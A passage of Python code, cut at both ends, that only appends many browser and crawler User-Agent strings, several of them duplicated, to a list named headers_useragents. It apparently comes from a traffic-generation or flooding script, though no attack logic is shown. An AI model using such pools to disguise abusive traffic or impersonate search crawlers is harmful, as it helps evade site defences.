3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 